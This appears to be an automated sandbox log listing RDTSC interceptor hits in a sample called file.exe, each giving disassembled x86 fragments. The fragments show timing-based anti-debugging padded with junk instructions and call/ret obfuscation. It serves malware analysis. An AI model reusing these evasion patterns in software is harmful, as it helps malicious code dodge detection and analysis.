Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1D82 second address: 11D1D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1EB5 second address: 11D1EC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2148 second address: 11D2157 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF275345486h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2157 second address: 11D2163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF274F0FD36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D93F3 second address: 11D93F8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D93F8 second address: 11D941A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FF274F0FD48h 0x00000010 jmp 00007FF274F0FD42h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D941A second address: 11D9424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FF275345486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11960DD second address: 11960E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11960E5 second address: 11960EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11960EA second address: 11960F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192A8C second address: 1192AAF instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF275345486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FF27534549Dh 0x00000010 jmp 00007FF275345491h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE070 second address: 11DE074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE792 second address: 11DE79C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF275345486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE79C second address: 11DE7D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FF274F0FD38h 0x0000000c jne 00007FF274F0FD47h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF274F0FD3Eh 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE7D3 second address: 11DE7DD instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF275345486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4591 second address: 11E4595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4CDC second address: 11E4CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4CE0 second address: 11E4D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FF274F0FD3Ah 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f jc 00007FF274F0FD42h 0x00000015 js 00007FF274F0FD3Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4D02 second address: 11E4D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 push ecx 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop ecx 0x0000000e mov eax, dword ptr [eax] 0x00000010 jmp 00007FF275345494h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c jnp 00007FF275345486h 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E51FD second address: 11E5203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5203 second address: 11E5216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jc 00007FF275345494h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5216 second address: 11E521A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E549F second address: 11E54A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5935 second address: 11E5939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5939 second address: 11E593F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7EC3 second address: 11E7EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7712 second address: 11E7716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7EC7 second address: 11E7EFF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF274F0FD36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e or dword ptr [ebp+122D33A1h], edx 0x00000014 push 00000000h 0x00000016 jmp 00007FF274F0FD3Fh 0x0000001b push 00000000h 0x0000001d xchg eax, ebx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF274F0FD3Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7EFF second address: 11E7F03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E895F second address: 11E89D5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007FF274F0FD36h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FF274F0FD38h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 or dword ptr [ebp+122D2005h], ecx 0x0000002f push 00000000h 0x00000031 call 00007FF274F0FD43h 0x00000036 mov edi, dword ptr [ebp+122D1B5Ah] 0x0000003c pop esi 0x0000003d push 00000000h 0x0000003f or dword ptr [ebp+122D367Ch], esi 0x00000045 push eax 0x00000046 pushad 0x00000047 je 00007FF274F0FD38h 0x0000004d push esi 0x0000004e pop esi 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FF274F0FD44h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E89D5 second address: 11E89D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8745 second address: 11E874C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA932 second address: 11EA938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA938 second address: 11EA9A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF274F0FD3Dh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FF274F0FD38h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov esi, 7BE2DB99h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007FF274F0FD38h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c push eax 0x0000004d js 00007FF274F0FD5Ah 0x00000053 push eax 0x00000054 push edx 0x00000055 je 00007FF274F0FD36h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB39E second address: 11EB3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB3A2 second address: 11EB3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a jmp 00007FF274F0FD41h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EB3BF second address: 11EB401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 push eax 0x00000008 mov edi, dword ptr [ebp+122D299Fh] 0x0000000e pop edi 0x0000000f push 00000000h 0x00000011 mov edi, ecx 0x00000013 movsx edi, di 0x00000016 push 00000000h 0x00000018 mov esi, 3D436C00h 0x0000001d jmp 00007FF275345493h 0x00000022 push eax 0x00000023 pushad 0x00000024 jnl 00007FF275345488h 0x0000002a push eax 0x0000002b push edx 0x0000002c jng 00007FF275345486h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBC6E second address: 11EBC72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBC72 second address: 11EBC7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBC7C second address: 11EBC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBC80 second address: 11EBC84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EEB97 second address: 11EEBAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EEC93 second address: 11EEC99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EEC99 second address: 11EECB4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF274F0FD36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FF274F0FD3Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0874 second address: 11F0878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0878 second address: 11F08A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FF274F0FD3Ch 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 push edx 0x00000015 pop edx 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F08A3 second address: 11F08A8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F17A6 second address: 11F17B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FF274F0FD3Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F17B4 second address: 11F182D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 js 00007FF27534548Ah 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 nop 0x00000011 call 00007FF275345491h 0x00000016 mov dword ptr [ebp+122D36D5h], eax 0x0000001c pop ebx 0x0000001d mov dword ptr [ebp+122D2080h], eax 0x00000023 push 00000000h 0x00000025 mov edi, dword ptr [ebp+1246E5D2h] 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007FF275345488h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 jmp 00007FF27534548Fh 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 jmp 00007FF27534548Ch 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F182D second address: 11F1832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2960 second address: 11F296A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF275345486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F296A second address: 11F2985 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF274F0FD47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3887 second address: 11F388B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3922 second address: 11F392C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF274F0FD36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F392C second address: 11F3933 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3B70 second address: 11F3B7A instructions: 0x00000000 rdtsc 0x00000002 js 00007FF274F0FD3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3B7A second address: 11F3B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5AE6 second address: 11F5AEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4C97 second address: 11F4C9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4C9C second address: 11F4CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F995F second address: 11F9964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB907 second address: 11FB90B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB90B second address: 11FB90F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6B2E second address: 11F6B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7A9C second address: 11F7AA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9B04 second address: 11F9B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCA03 second address: 11FCA83 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF27534548Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FF275345488h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov edi, ebx 0x00000029 push 00000000h 0x0000002b mov dword ptr [ebp+122D3382h], eax 0x00000031 mov ebx, 7B5FEDE4h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007FF275345488h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 mov ebx, 7E44E6FAh 0x00000057 xchg eax, esi 0x00000058 jmp 00007FF27534548Eh 0x0000005d push eax 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCA83 second address: 11FCAA7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF274F0FD36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF274F0FD48h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5CD0 second address: 11F5CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAB34 second address: 11FAB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF274F0FD47h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4F8F second address: 11A4FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF275345486h 0x0000000a jc 00007FF275345492h 0x00000010 pop esi 0x00000011 push esi 0x00000012 jp 00007FF275345492h 0x00000018 jl 00007FF275345486h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120494C second address: 1204952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204952 second address: 120495C instructions: 0x00000000 rdtsc 0x00000002 je 00007FF275345486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204C58 second address: 1204C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF274F0FD36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209C70 second address: 1209C76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209D19 second address: 1209D1F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209D1F second address: 1209D5A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF275345493h 0x00000008 jmp 00007FF27534548Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007FF275345494h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c je 00007FF275345488h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209ECD second address: 1209ED3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209ED3 second address: 1209F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007FF275345496h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 jmp 00007FF275345493h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jng 00007FF275345494h 0x00000026 push eax 0x00000027 push edx 0x00000028 push esi 0x00000029 pop esi 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F08C second address: 120F0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jbe 00007FF274F0FD36h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jc 00007FF274F0FD36h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F0A3 second address: 120F0BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FF275345486h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF27534548Ah 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F0BF second address: 120F0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F0C5 second address: 120F0CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B0CE second address: 119B0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120E3FF second address: 120E403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120EF08 second address: 120EF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120EF0C second address: 120EF12 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120EF12 second address: 120EF30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FF274F0FD41h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120EF30 second address: 120EF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF275345486h 0x0000000a jbe 00007FF275345486h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007FF27534548Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
